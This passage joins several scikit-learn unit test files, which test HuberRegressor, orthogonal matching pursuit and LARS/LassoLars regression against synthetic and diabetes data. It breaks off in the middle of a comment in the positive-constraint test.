    huber.fit(X, y)
    assert_almost_equal(huber.coef_, lr.coef_, 3)
    assert_almost_equal(huber.intercept_, lr.intercept_, 2)


def test_huber_gradient():
    # Test that the gradient calculated by _huber_loss_and_gradient is correct
    rng = np.random.RandomState(1)
    X, y = make_regression_with_outliers()
    sample_weight = rng.randint(1, 3, (y.shape[0]))
    loss_func = lambda x, *args: _huber_loss_and_gradient(x, *args)[0]
    grad_func = lambda x, *args: _huber_loss_and_gradient(x, *args)[1]

    # Check using optimize.check_grad that the gradients are equal.
    for _ in range(5):
        # Check for both fit_intercept and otherwise.
        for n_features in [X.shape[1] + 1, X.shape[1] + 2]:
            w = rng.randn(n_features)
            w[-1] = np.abs(w[-1])
            grad_same = optimize.check_grad(
                loss_func, grad_func, w, X, y, 0.01, 0.1, sample_weight)
            assert_almost_equal(grad_same, 1e-6, 4)


def test_huber_sample_weights():
    # Test sample_weights implementation in HuberRegressor"""

    X, y = make_regression_with_outliers()
    huber = HuberRegressor(fit_intercept=True)
    huber.fit(X, y)
    huber_coef = huber.coef_
    huber_intercept = huber.intercept_

    # Rescale coefs before comparing with assert_array_almost_equal to make sure
    # that the number of decimal places used is somewhat insensitive to the
    # amplitude of the coefficients and therefore to the scale of the data
    # and the regularization parameter
    scale = max(np.mean(np.abs(huber.coef_)),
                np.mean(np.abs(huber.intercept_)))

    huber.fit(X, y, sample_weight=np.ones(y.shape[0]))
    assert_array_almost_equal(huber.coef_ / scale, huber_coef / scale)
    assert_array_almost_equal(huber.intercept_ / scale,
                              huber_intercept / scale)

    X, y = make_regression_with_outliers(n_samples=5, n_features=20)
    X_new = np.vstack((X, np.vstack((X[1], X[1], X[3]))))
    y_new = np.concatenate((y, [y[1]], [y[1]], [y[3]]))
    huber.fit(X_new, y_new)
    huber_coef = huber.coef_
    huber_intercept = huber.intercept_
    sample_weight = np.ones(X.shape[0])
    sample_weight[1] = 3
    sample_weight[3] = 2
    huber.fit(X, y, sample_weight=sample_weight)

    assert_array_almost_equal(huber.coef_ / scale, huber_coef / scale)
    assert_array_almost_equal(huber.intercept_ / scale,
                              huber_intercept / scale)

    # Test sparse implementation with sample weights.
    X_csr = sparse.csr_matrix(X)
    huber_sparse = HuberRegressor(fit_intercept=True)
    huber_sparse.fit(X_csr, y, sample_weight=sample_weight)
    assert_array_almost_equal(huber_sparse.coef_ / scale,
                              huber_coef / scale)


def test_huber_sparse():
    X, y = make_regression_with_outliers()
    huber = HuberRegressor(fit_intercept=True, alpha=0.1)
    huber.fit(X, y)

    X_csr = sparse.csr_matrix(X)
    huber_sparse = HuberRegressor(fit_intercept=True, alpha=0.1)
    huber_sparse.fit(X_csr, y)
    assert_array_almost_equal(huber_sparse.coef_, huber.coef_)
    assert_array_equal(huber.outliers_, huber_sparse.outliers_)


def test_huber_scaling_invariant():
    """Test that outliers filtering is scaling independent."""
    rng = np.random.RandomState(0)
    X, y = make_regression_with_outliers()
    huber = HuberRegressor(fit_intercept=False, alpha=0.0, max_iter=100)
    huber.fit(X, y)
    n_outliers_mask_1 = huber.outliers_
    assert_false(np.all(n_outliers_mask_1))

    huber.fit(X, 2. * y)
    n_outliers_mask_2 = huber.outliers_
    assert_array_equal(n_outliers_mask_2, n_outliers_mask_1)

    huber.fit(2. * X, 2. * y)
    n_outliers_mask_3 = huber.outliers_
    assert_array_equal(n_outliers_mask_3, n_outliers_mask_1)


def test_huber_and_sgd_same_results():
    """Test they should converge to same coefficients for same parameters"""

    X, y = make_regression_with_outliers(n_samples=10, n_features=2)

    # Fit once to find out the scale parameter. Scale down X and y by scale
    # so that the scale parameter is optimized to 1.0
    huber = HuberRegressor(fit_intercept=False, alpha=0.0, max_iter=100,
                           epsilon=1.35)
    huber.fit(X, y)
    X_scale = X / huber.scale_
    y_scale = y / huber.scale_
    huber.fit(X_scale, y_scale)
    assert_almost_equal(huber.scale_, 1.0, 3)

    sgdreg = SGDRegressor(
        alpha=0.0, loss="huber", shuffle=True, random_state=0, n_iter=10000,
        fit_intercept=False, epsilon=1.35)
    sgdreg.fit(X_scale, y_scale)
    assert_array_almost_equal(huber.coef_, sgdreg.coef_, 1)


def test_huber_warm_start():
    X, y = make_regression_with_outliers()
    huber_warm = HuberRegressor(
        fit_intercept=True, alpha=1.0, max_iter=10000, warm_start=True, tol=1e-1)
    huber_warm.fit(X, y)
    huber_warm_coef = huber_warm.coef_.copy()
    huber_warm.fit(X, y)

    # SciPy performs the tol check after doing the coef updates, so
    # these would be almost same but not equal.
    assert_array_almost_equal(huber_warm.coef_, huber_warm_coef, 1)

    # No n_iter_ in old SciPy (<=0.9)
    if huber_warm.n_iter_ is not None:
        assert_equal(0, huber_warm.n_iter_)


def test_huber_better_r2_score():
    # Test that huber returns a better r2 score than non-outliers"""
    X, y = make_regression_with_outliers()
    huber = HuberRegressor(fit_intercept=True, alpha=0.01, max_iter=100)
    huber.fit(X, y)
    linear_loss = np.dot(X, huber.coef_) + huber.intercept_ - y
    mask = np.abs(linear_loss) < huber.epsilon * huber.scale_
    huber_score = huber.score(X[mask], y[mask])
    huber_outlier_score = huber.score(X[~mask], y[~mask])

    # The Ridge regressor should be influenced by the outliers and hence
    # give a worse score on the non-outliers as compared to the huber regressor.
    ridge = Ridge(fit_intercept=True, alpha=0.01)
    ridge.fit(X, y)
    ridge_score = ridge.score(X[mask], y[mask])
    ridge_outlier_score = ridge.score(X[~mask], y[~mask])
    assert_greater(huber_score, ridge_score)

    # The huber model should also fit poorly on the outliers.
    assert_greater(ridge_outlier_score, huber_outlier_score)






# Author: Vlad Niculae
# License: BSD 3 clause

import numpy as np

from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import ignore_warnings


from sklearn.linear_model import (orthogonal_mp, orthogonal_mp_gram,
                                  OrthogonalMatchingPursuit,
                                  OrthogonalMatchingPursuitCV,
                                  LinearRegression)
from sklearn.utils import check_random_state
from sklearn.datasets import make_sparse_coded_signal

n_samples, n_features, n_nonzero_coefs, n_targets = 20, 30, 5, 3
y, X, gamma = make_sparse_coded_signal(n_targets, n_features, n_samples,
                                       n_nonzero_coefs, random_state=0)
G, Xy = np.dot(X.T, X), np.dot(X.T, y)
# this makes X (n_samples, n_features)
# and y (n_samples, 3)


def test_correct_shapes():
    assert_equal(orthogonal_mp(X, y[:, 0], n_nonzero_coefs=5).shape,
                 (n_features,))
    assert_equal(orthogonal_mp(X, y, n_nonzero_coefs=5).shape,
                 (n_features, 3))


def test_correct_shapes_gram():
    assert_equal(orthogonal_mp_gram(G, Xy[:, 0], n_nonzero_coefs=5).shape,
                 (n_features,))
    assert_equal(orthogonal_mp_gram(G, Xy, n_nonzero_coefs=5).shape,
                 (n_features, 3))


def test_n_nonzero_coefs():
    assert_true(np.count_nonzero(orthogonal_mp(X, y[:, 0],
                                 n_nonzero_coefs=5)) <= 5)
    assert_true(np.count_nonzero(orthogonal_mp(X, y[:, 0], n_nonzero_coefs=5,
                                               precompute=True)) <= 5)


def test_tol():
    tol = 0.5
    gamma = orthogonal_mp(X, y[:, 0], tol=tol)
    gamma_gram = orthogonal_mp(X, y[:, 0], tol=tol, precompute=True)
    assert_true(np.sum((y[:, 0] - np.dot(X, gamma)) ** 2) <= tol)
    assert_true(np.sum((y[:, 0] - np.dot(X, gamma_gram)) ** 2) <= tol)


def test_with_without_gram():
    assert_array_almost_equal(
        orthogonal_mp(X, y, n_nonzero_coefs=5),
        orthogonal_mp(X, y, n_nonzero_coefs=5, precompute=True))


def test_with_without_gram_tol():
    assert_array_almost_equal(
        orthogonal_mp(X, y, tol=1.),
        orthogonal_mp(X, y, tol=1., precompute=True))


def test_unreachable_accuracy():
    assert_array_almost_equal(
        orthogonal_mp(X, y, tol=0),
        orthogonal_mp(X, y, n_nonzero_coefs=n_features))

    assert_array_almost_equal(
        assert_warns(RuntimeWarning, orthogonal_mp, X, y, tol=0,
                     precompute=True),
        orthogonal_mp(X, y, precompute=True,
                      n_nonzero_coefs=n_features))


def test_bad_input():
    assert_raises(ValueError, orthogonal_mp, X, y, tol=-1)
    assert_raises(ValueError, orthogonal_mp, X, y, n_nonzero_coefs=-1)
    assert_raises(ValueError, orthogonal_mp, X, y,
                  n_nonzero_coefs=n_features + 1)
    assert_raises(ValueError, orthogonal_mp_gram, G, Xy, tol=-1)
    assert_raises(ValueError, orthogonal_mp_gram, G, Xy, n_nonzero_coefs=-1)
    assert_raises(ValueError, orthogonal_mp_gram, G, Xy,
                  n_nonzero_coefs=n_features + 1)


def test_perfect_signal_recovery():
    idx, = gamma[:, 0].nonzero()
    gamma_rec = orthogonal_mp(X, y[:, 0], 5)
    gamma_gram = orthogonal_mp_gram(G, Xy[:, 0], 5)
    assert_array_equal(idx, np.flatnonzero(gamma_rec))
    assert_array_equal(idx, np.flatnonzero(gamma_gram))
    assert_array_almost_equal(gamma[:, 0], gamma_rec, decimal=2)
    assert_array_almost_equal(gamma[:, 0], gamma_gram, decimal=2)


def test_estimator():
    omp = OrthogonalMatchingPursuit(n_nonzero_coefs=n_nonzero_coefs)
    omp.fit(X, y[:, 0])
    assert_equal(omp.coef_.shape, (n_features,))
    assert_equal(omp.intercept_.shape, ())
    assert_true(np.count_nonzero(omp.coef_) <= n_nonzero_coefs)

    omp.fit(X, y)
    assert_equal(omp.coef_.shape, (n_targets, n_features))
    assert_equal(omp.intercept_.shape, (n_targets,))
    assert_true(np.count_nonzero(omp.coef_) <= n_targets * n_nonzero_coefs)

    omp.set_params(fit_intercept=False, normalize=False)

    omp.fit(X, y[:, 0])
    assert_equal(omp.coef_.shape, (n_features,))
    assert_equal(omp.intercept_, 0)
    assert_true(np.count_nonzero(omp.coef_) <= n_nonzero_coefs)

    omp.fit(X, y)
    assert_equal(omp.coef_.shape, (n_targets, n_features))
    assert_equal(omp.intercept_, 0)
    assert_true(np.count_nonzero(omp.coef_) <= n_targets * n_nonzero_coefs)


def test_identical_regressors():
    newX = X.copy()
    newX[:, 1] = newX[:, 0]
    gamma = np.zeros(n_features)
    gamma[0] = gamma[1] = 1.
    newy = np.dot(newX, gamma)
    assert_warns(RuntimeWarning, orthogonal_mp, newX, newy, 2)


def test_swapped_regressors():
    gamma = np.zeros(n_features)
    # X[:, 21] should be selected first, then X[:, 0] selected second,
    # which will take X[:, 21]'s place in case the algorithm does
    # column swapping for optimization (which is the case at the moment)
    gamma[21] = 1.0
    gamma[0] = 0.5
    new_y = np.dot(X, gamma)
    new_Xy = np.dot(X.T, new_y)
    gamma_hat = orthogonal_mp(X, new_y, 2)
    gamma_hat_gram = orthogonal_mp_gram(G, new_Xy, 2)
    assert_array_equal(np.flatnonzero(gamma_hat), [0, 21])
    assert_array_equal(np.flatnonzero(gamma_hat_gram), [0, 21])


def test_no_atoms():
    y_empty = np.zeros_like(y)
    Xy_empty = np.dot(X.T, y_empty)
    gamma_empty = ignore_warnings(orthogonal_mp)(X, y_empty, 1)
    gamma_empty_gram = ignore_warnings(orthogonal_mp)(G, Xy_empty, 1)
    assert_equal(np.all(gamma_empty == 0), True)
    assert_equal(np.all(gamma_empty_gram == 0), True)


def test_omp_path():
    path = orthogonal_mp(X, y, n_nonzero_coefs=5, return_path=True)
    last = orthogonal_mp(X, y, n_nonzero_coefs=5, return_path=False)
    assert_equal(path.shape, (n_features, n_targets, 5))
    assert_array_almost_equal(path[:, :, -1], last)
    path = orthogonal_mp_gram(G, Xy, n_nonzero_coefs=5, return_path=True)
    last = orthogonal_mp_gram(G, Xy, n_nonzero_coefs=5, return_path=False)
    assert_equal(path.shape, (n_features, n_targets, 5))
    assert_array_almost_equal(path[:, :, -1], last)


def test_omp_return_path_prop_with_gram():
    path = orthogonal_mp(X, y, n_nonzero_coefs=5, return_path=True,
                         precompute=True)
    last = orthogonal_mp(X, y, n_nonzero_coefs=5, return_path=False,
                         precompute=True)
    assert_equal(path.shape, (n_features, n_targets, 5))
    assert_array_almost_equal(path[:, :, -1], last)


def test_omp_cv():
    y_ = y[:, 0]
    gamma_ = gamma[:, 0]
    ompcv = OrthogonalMatchingPursuitCV(normalize=True, fit_intercept=False,
                                        max_iter=10, cv=5)
    ompcv.fit(X, y_)
    assert_equal(ompcv.n_nonzero_coefs_, n_nonzero_coefs)
    assert_array_almost_equal(ompcv.coef_, gamma_)
    omp = OrthogonalMatchingPursuit(normalize=True, fit_intercept=False,
                                    n_nonzero_coefs=ompcv.n_nonzero_coefs_)
    omp.fit(X, y_)
    assert_array_almost_equal(ompcv.coef_, omp.coef_)


def test_omp_reaches_least_squares():
    # Use small simple data; it's a sanity check but OMP can stop early
    rng = check_random_state(0)
    n_samples, n_features = (10, 8)
    n_targets = 3
    X = rng.randn(n_samples, n_features)
    Y = rng.randn(n_samples, n_targets)
    omp = OrthogonalMatchingPursuit(n_nonzero_coefs=n_features)
    lstsq = LinearRegression()
    omp.fit(X, Y)
    lstsq.fit(X, Y)
    assert_array_almost_equal(omp.coef_, lstsq.coef_)






from nose.tools import assert_equal

import numpy as np
from scipy import linalg

from sklearn.model_selection import train_test_split
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_no_warnings, assert_warns
from sklearn.utils.testing import TempMemmap
from sklearn.exceptions import ConvergenceWarning
from sklearn import linear_model, datasets
from sklearn.linear_model.least_angle import _lars_path_residues

diabetes = datasets.load_diabetes()
X, y = diabetes.data, diabetes.target

# TODO: use another dataset that has multiple drops


def test_simple():
    # Principle of Lars is to keep covariances tied and decreasing

    # also test verbose output
    from sklearn.externals.six.moves import cStringIO as StringIO
    import sys
    old_stdout = sys.stdout
    try:
        sys.stdout = StringIO()

        alphas_, active, coef_path_ = linear_model.lars_path(
            diabetes.data, diabetes.target, method="lar", verbose=10)

        sys.stdout = old_stdout

        for (i, coef_) in enumerate(coef_path_.T):
            res = y - np.dot(X, coef_)
            cov = np.dot(X.T, res)
            C = np.max(abs(cov))
            eps = 1e-3
            ocur = len(cov[C - eps < abs(cov)])
            if i < X.shape[1]:
                assert_true(ocur == i + 1)
            else:
                # no more than max_pred variables can go into the active set
                assert_true(ocur == X.shape[1])
    finally:
        sys.stdout = old_stdout


def test_simple_precomputed():
    # The same, with precomputed Gram matrix

    G = np.dot(diabetes.data.T, diabetes.data)
    alphas_, active, coef_path_ = linear_model.lars_path(
        diabetes.data, diabetes.target, Gram=G, method="lar")

    for i, coef_ in enumerate(coef_path_.T):
        res = y - np.dot(X, coef_)
        cov = np.dot(X.T, res)
        C = np.max(abs(cov))
        eps = 1e-3
        ocur = len(cov[C - eps < abs(cov)])
        if i < X.shape[1]:
            assert_true(ocur == i + 1)
        else:
            # no more than max_pred variables can go into the active set
            assert_true(ocur == X.shape[1])


def test_all_precomputed():
    # Test that lars_path with precomputed Gram and Xy gives the right answer
    X, y = diabetes.data, diabetes.target
    G = np.dot(X.T, X)
    Xy = np.dot(X.T, y)
    for method in 'lar', 'lasso':
        output = linear_model.lars_path(X, y, method=method)
        output_pre = linear_model.lars_path(X, y, Gram=G, Xy=Xy, method=method)
        for expected, got in zip(output, output_pre):
            assert_array_almost_equal(expected, got)


def test_lars_lstsq():
    # Test that Lars gives least square solution at the end
    # of the path
    X1 = 3 * diabetes.data  # use un-normalized dataset
    clf = linear_model.LassoLars(alpha=0.)
    clf.fit(X1, y)
    coef_lstsq = np.linalg.lstsq(X1, y)[0]
    assert_array_almost_equal(clf.coef_, coef_lstsq)


def test_lasso_gives_lstsq_solution():
    # Test that Lars Lasso gives least square solution at the end
    # of the path
    alphas_, active, coef_path_ = linear_model.lars_path(X, y, method="lasso")
    coef_lstsq = np.linalg.lstsq(X, y)[0]
    assert_array_almost_equal(coef_lstsq, coef_path_[:, -1])


def test_collinearity():
    # Check that lars_path is robust to collinearity in input
    X = np.array([[3., 3., 1.],
                  [2., 2., 0.],
                  [1., 1., 0]])
    y = np.array([1., 0., 0])

    f = ignore_warnings
    _, _, coef_path_ = f(linear_model.lars_path)(X, y, alpha_min=0.01)
    assert_true(not np.isnan(coef_path_).any())
    residual = np.dot(X, coef_path_[:, -1]) - y
    assert_less((residual ** 2).sum(), 1.)  # just make sure it's bounded

    n_samples = 10
    X = np.random.rand(n_samples, 5)
    y = np.zeros(n_samples)
    _, _, coef_path_ = linear_model.lars_path(X, y, Gram='auto', copy_X=False,
                                              copy_Gram=False, alpha_min=0.,
                                              method='lasso', verbose=0,
                                              max_iter=500)
    assert_array_almost_equal(coef_path_, np.zeros_like(coef_path_))


def test_no_path():
    # Test that the ``return_path=False`` option returns the correct output

    alphas_, active_, coef_path_ = linear_model.lars_path(
        diabetes.data, diabetes.target, method="lar")
    alpha_, active, coef = linear_model.lars_path(
        diabetes.data, diabetes.target, method="lar", return_path=False)

    assert_array_almost_equal(coef, coef_path_[:, -1])
    assert_true(alpha_ == alphas_[-1])


def test_no_path_precomputed():
    # Test that the ``return_path=False`` option with Gram remains correct

    G = np.dot(diabetes.data.T, diabetes.data)

    alphas_, active_, coef_path_ = linear_model.lars_path(
        diabetes.data, diabetes.target, method="lar", Gram=G)
    alpha_, active, coef = linear_model.lars_path(
        diabetes.data, diabetes.target, method="lar", Gram=G,
        return_path=False)

    assert_array_almost_equal(coef, coef_path_[:, -1])
    assert_true(alpha_ == alphas_[-1])


def test_no_path_all_precomputed():
    # Test that the ``return_path=False`` option with Gram and Xy remains
    # correct
    X, y = 3 * diabetes.data, diabetes.target
    G = np.dot(X.T, X)
    Xy = np.dot(X.T, y)

    alphas_, active_, coef_path_ = linear_model.lars_path(
        X, y, method="lasso", Gram=G, Xy=Xy, alpha_min=0.9)
    print("---")
    alpha_, active, coef = linear_model.lars_path(
        X, y, method="lasso", Gram=G, Xy=Xy, alpha_min=0.9, return_path=False)

    assert_array_almost_equal(coef, coef_path_[:, -1])
    assert_true(alpha_ == alphas_[-1])


def test_singular_matrix():
    # Test when input is a singular matrix
    X1 = np.array([[1, 1.], [1., 1.]])
    y1 = np.array([1, 1])
    alphas, active, coef_path = linear_model.lars_path(X1, y1)
    assert_array_almost_equal(coef_path.T, [[0, 0], [1, 0]])


def test_rank_deficient_design():
    # consistency test that checks that LARS Lasso is handling rank
    # deficient input data (with n_features < rank) in the same way
    # as coordinate descent Lasso
    y = [5, 0, 5]
    for X in ([[5, 0],
               [0, 5],
               [10, 10]],

              [[10, 10, 0],
               [1e-32, 0, 0],
               [0, 0, 1]],
              ):
        # To be able to use the coefs to compute the objective function,
        # we need to turn off normalization
        lars = linear_model.LassoLars(.1, normalize=False)
        coef_lars_ = lars.fit(X, y).coef_
        obj_lars = (1. / (2. * 3.)
                    * linalg.norm(y - np.dot(X, coef_lars_)) ** 2
                    + .1 * linalg.norm(coef_lars_, 1))
        coord_descent = linear_model.Lasso(.1, tol=1e-6, normalize=False)
        coef_cd_ = coord_descent.fit(X, y).coef_
        obj_cd = ((1. / (2. * 3.)) * linalg.norm(y - np.dot(X, coef_cd_)) ** 2
                  + .1 * linalg.norm(coef_cd_, 1))
        assert_less(obj_lars, obj_cd * (1. + 1e-8))


def test_lasso_lars_vs_lasso_cd(verbose=False):
    # Test that LassoLars and Lasso using coordinate descent give the
    # same results.
    X = 3 * diabetes.data

    alphas, _, lasso_path = linear_model.lars_path(X, y, method='lasso')
    lasso_cd = linear_model.Lasso(fit_intercept=False, tol=1e-8)
    for c, a in zip(lasso_path.T, alphas):
        if a == 0:
            continue
        lasso_cd.alpha = a
        lasso_cd.fit(X, y)
        error = linalg.norm(c - lasso_cd.coef_)
        assert_less(error, 0.01)

    # similar test, with the classifiers
    for alpha in np.linspace(1e-2, 1 - 1e-2, 20):
        clf1 = linear_model.LassoLars(alpha=alpha, normalize=False).fit(X, y)
        clf2 = linear_model.Lasso(alpha=alpha, tol=1e-8,
                                  normalize=False).fit(X, y)
        err = linalg.norm(clf1.coef_ - clf2.coef_)
        assert_less(err, 1e-3)

    # same test, with normalized data
    X = diabetes.data
    alphas, _, lasso_path = linear_model.lars_path(X, y, method='lasso')
    lasso_cd = linear_model.Lasso(fit_intercept=False, normalize=True,
                                  tol=1e-8)
    for c, a in zip(lasso_path.T, alphas):
        if a == 0:
            continue
        lasso_cd.alpha = a
        lasso_cd.fit(X, y)
        error = linalg.norm(c - lasso_cd.coef_)
        assert_less(error, 0.01)


def test_lasso_lars_vs_lasso_cd_early_stopping(verbose=False):
    # Test that LassoLars and Lasso using coordinate descent give the
    # same results when early stopping is used.
    # (test : before, in the middle, and in the last part of the path)
    alphas_min = [10, 0.9, 1e-4]
    for alphas_min in alphas_min:
        alphas, _, lasso_path = linear_model.lars_path(X, y, method='lasso',
                                                       alpha_min=0.9)
        lasso_cd = linear_model.Lasso(fit_intercept=False, tol=1e-8)
        lasso_cd.alpha = alphas[-1]
        lasso_cd.fit(X, y)
        error = linalg.norm(lasso_path[:, -1] - lasso_cd.coef_)
        assert_less(error, 0.01)

    alphas_min = [10, 0.9, 1e-4]
    # same test, with normalization
    for alphas_min in alphas_min:
        alphas, _, lasso_path = linear_model.lars_path(X, y, method='lasso',
                                                       alpha_min=0.9)
        lasso_cd = linear_model.Lasso(fit_intercept=True, normalize=True,
                                      tol=1e-8)
        lasso_cd.alpha = alphas[-1]
        lasso_cd.fit(X, y)
        error = linalg.norm(lasso_path[:, -1] - lasso_cd.coef_)
        assert_less(error, 0.01)


def test_lasso_lars_path_length():
    # Test that the path length of the LassoLars is right
    lasso = linear_model.LassoLars()
    lasso.fit(X, y)
    lasso2 = linear_model.LassoLars(alpha=lasso.alphas_[2])
    lasso2.fit(X, y)
    assert_array_almost_equal(lasso.alphas_[:3], lasso2.alphas_)
    # Also check that the sequence of alphas is always decreasing
    assert_true(np.all(np.diff(lasso.alphas_) < 0))


def test_lasso_lars_vs_lasso_cd_ill_conditioned():
    # Test lasso lars on a very ill-conditioned design, and check that
    # it does not blow up, and stays somewhat close to a solution given
    # by the coordinate descent solver
    # Also test that lasso_path (using lars_path output style) gives
    # the same result as lars_path and previous lasso output style
    # under these conditions.
    rng = np.random.RandomState(42)

    # Generate data
    n, m = 70, 100
    k = 5
    X = rng.randn(n, m)
    w = np.zeros((m, 1))
    i = np.arange(0, m)
    rng.shuffle(i)
    supp = i[:k]
    w[supp] = np.sign(rng.randn(k, 1)) * (rng.rand(k, 1) + 1)
    y = np.dot(X, w)
    sigma = 0.2
    y += sigma * rng.rand(*y.shape)
    y = y.squeeze()
    lars_alphas, _, lars_coef = linear_model.lars_path(X, y, method='lasso')

    _, lasso_coef2, _ = linear_model.lasso_path(X, y,
                                                alphas=lars_alphas,
                                                tol=1e-6,
                                                fit_intercept=False)

    assert_array_almost_equal(lars_coef, lasso_coef2, decimal=1)


def test_lasso_lars_vs_lasso_cd_ill_conditioned2():
    # Create an ill-conditioned situation in which the LARS has to go
    # far in the path to converge, and check that LARS and coordinate
    # descent give the same answers
    # Note it used to be the case that Lars had to use the drop for good
    # strategy for this but this is no longer the case with the
    # equality_tolerance checks
    X = [[1e20, 1e20, 0],
         [-1e-32, 0, 0],
         [1, 1, 1]]
    y = [10, 10, 1]
    alpha = .0001

    def objective_function(coef):
        return (1. / (2. * len(X)) * linalg.norm(y - np.dot(X, coef)) ** 2
                + alpha * linalg.norm(coef, 1))

    lars = linear_model.LassoLars(alpha=alpha, normalize=False)
    assert_warns(ConvergenceWarning, lars.fit, X, y)
    lars_coef_ = lars.coef_
    lars_obj = objective_function(lars_coef_)

    coord_descent = linear_model.Lasso(alpha=alpha, tol=1e-4, normalize=False)
    cd_coef_ = coord_descent.fit(X, y).coef_
    cd_obj = objective_function(cd_coef_)

    assert_less(lars_obj, cd_obj * (1. + 1e-8))


def test_lars_add_features():
    # assure that at least some features get added if necessary
    # test for 6d2b4c
    # Hilbert matrix
    n = 5
    H = 1. / (np.arange(1, n + 1) + np.arange(n)[:, np.newaxis])
    clf = linear_model.Lars(fit_intercept=False).fit(
        H, np.arange(n))
    assert_true(np.all(np.isfinite(clf.coef_)))


def test_lars_n_nonzero_coefs(verbose=False):
    lars = linear_model.Lars(n_nonzero_coefs=6, verbose=verbose)
    lars.fit(X, y)
    assert_equal(len(lars.coef_.nonzero()[0]), 6)
    # The path should be of length 6 + 1 in a Lars going down to 6
    # non-zero coefs
    assert_equal(len(lars.alphas_), 7)


@ignore_warnings
def test_multitarget():
    # Assure that estimators receiving multidimensional y do the right thing
    X = diabetes.data
    Y = np.vstack([diabetes.target, diabetes.target ** 2]).T
    n_targets = Y.shape[1]

    for estimator in (linear_model.LassoLars(), linear_model.Lars()):
        estimator.fit(X, Y)
        Y_pred = estimator.predict(X)
        Y_dec = assert_warns(DeprecationWarning, estimator.decision_function, X)
        assert_array_almost_equal(Y_pred, Y_dec)
        alphas, active, coef, path = (estimator.alphas_, estimator.active_,
                                      estimator.coef_, estimator.coef_path_)
        for k in range(n_targets):
            estimator.fit(X, Y[:, k])
            y_pred = estimator.predict(X)
            assert_array_almost_equal(alphas[k], estimator.alphas_)
            assert_array_almost_equal(active[k], estimator.active_)
            assert_array_almost_equal(coef[k], estimator.coef_)
            assert_array_almost_equal(path[k], estimator.coef_path_)
            assert_array_almost_equal(Y_pred[:, k], y_pred)


def test_lars_cv():
    # Test the LassoLarsCV object by checking that the optimal alpha
    # increases as the number of samples increases.
    # This property is not actually guaranteed in general and is just a
    # property of the given dataset, with the given steps chosen.
    old_alpha = 0
    lars_cv = linear_model.LassoLarsCV()
    for length in (400, 200, 100):
        X = diabetes.data[:length]
        y = diabetes.target[:length]
        lars_cv.fit(X, y)
        np.testing.assert_array_less(old_alpha, lars_cv.alpha_)
        old_alpha = lars_cv.alpha_


def test_lasso_lars_ic():
    # Test the LassoLarsIC object by checking that
    # - some good features are selected.
    # - alpha_bic > alpha_aic
    # - n_nonzero_bic < n_nonzero_aic
    lars_bic = linear_model.LassoLarsIC('bic')
    lars_aic = linear_model.LassoLarsIC('aic')
    rng = np.random.RandomState(42)
    X = diabetes.data
    y = diabetes.target
    X = np.c_[X, rng.randn(X.shape[0], 4)]  # add 4 bad features
    lars_bic.fit(X, y)
    lars_aic.fit(X, y)
    nonzero_bic = np.where(lars_bic.coef_)[0]
    nonzero_aic = np.where(lars_aic.coef_)[0]
    assert_greater(lars_bic.alpha_, lars_aic.alpha_)
    assert_less(len(nonzero_bic), len(nonzero_aic))
    assert_less(np.max(nonzero_bic), diabetes.data.shape[1])

    # test error on unknown IC
    lars_broken = linear_model.LassoLarsIC('<unknown>')
    assert_raises(ValueError, lars_broken.fit, X, y)


def test_no_warning_for_zero_mse():
    # LassoLarsIC should not warn for log of zero MSE.
    y = np.arange(10, dtype=float)
    X = y.reshape(-1, 1)
    lars = linear_model.LassoLarsIC(normalize=False)
    assert_no_warnings(lars.fit, X, y)
    assert_true(np.any(np.isinf(lars.criterion_)))


def test_lars_path_readonly_data():
    # When using automated memory mapping on large input, the
    # fold data is in read-only mode
    # This is a non-regression test for:
    # https://github.com/scikit-learn/scikit-learn/issues/4597
    splitted_data = train_test_split(X, y, random_state=42)
    with TempMemmap(splitted_data) as (X_train, X_test, y_train, y_test):
        # The following should not fail despite copy=False
        _lars_path_residues(X_train, y_train, X_test, y_test, copy=False)


def test_lars_path_positive_constraint():
    # this is the main test for the positive parameter on the lars_path method
    # the estimator classes just make use of this function

    # we do the test on the diabetes dataset

    # ensure that we get negative coefficients when positive=False
    # and all positive when positive=True
    # for method 'lar' (default) and lasso
    for method in ['lar', 'lasso']:
        alpha, active, coefs = \
            linear_model.lars_path(diabetes['data'], diabetes['target'],
                                   return_path=True, method=method,
                                   positive=False)
        assert_true(coefs.min() < 0)

        alpha, active, coefs = \
            linear_model.lars_path(diabetes['data'], diabetes['target'],
                                   return_path=True, method=method,
                                   positive=True)
        assert_true(coefs.min() >= 0)


# now we gonna test the positive option for all estimator classes

default_parameter = {'fit_intercept': False}

estimator_parameter_map = {'Lars': {'n_nonzero_coefs': 5},
                           'LassoLars': {'alpha': 0.1},
                           'LarsCV': {},
                           'LassoLarsCV': {},
                           'LassoLarsIC': {}}


def test_estimatorclasses_positive_constraint():
    # testing the transmissibility for the positive option of all estimator
    # classes in this same function here

    for estname in estimator_parameter_map:
        params = default_parameter.copy()
        params.update(estimator_parameter_map[estname])
        estimator = getattr(linear_model, estname)(positive=False, **params)
        estimator.fit(diabetes['data'], diabetes['target'])
        assert_true(estimator.coef_.min() < 0)
        estimator = getattr(linear_model, estname)(positive=True, **params)
        estimator.fit(diabetes['data'], diabetes['target'])
        assert_true(min(estimator.coef_) >= 0)


def test_lasso_lars_vs_lasso_cd_positive(verbose=False):
    # Test that LassoLars and Lasso using coordinate descent give the
    # same results when using the positive option

    # This test is basically a copy of the above with additional positive
    # option. However for the middle part, the comparison of coefficient values
    # for a range of alphas, we had to make an adaptations. See below.

    # not normalized data
    X = 3 * diabetes.data

    alphas, _, lasso_path = linear_model.lars_path(X, y, method='lasso',
                                                   positive=True)
    lasso_cd = linear_model.Lasso(fit_intercept=False, tol=1e-8, positive=True)
    for c, a in zip(lasso_path.T, alphas):
        if a == 0:
            continue
        lasso_cd.alpha = a
        lasso_cd.fit(X, y)
        error = linalg.norm(c - lasso_cd.coef_)
        assert_less(error, 0.01)

    # The range of alphas chosen for coefficient comparison here is restricted
    # as compared with the above test without the positive option. This is due
    # to the circumstance that the Lars-Lasso algorithm does not converge to
    # the least-squares-solution for small alphas, see 'Least Angle Regression'
    # by Efron et al 2004. The coefficients are typically in congruence up to
    # the smallest alpha reached by the Lars-Lasso algorithm and start to
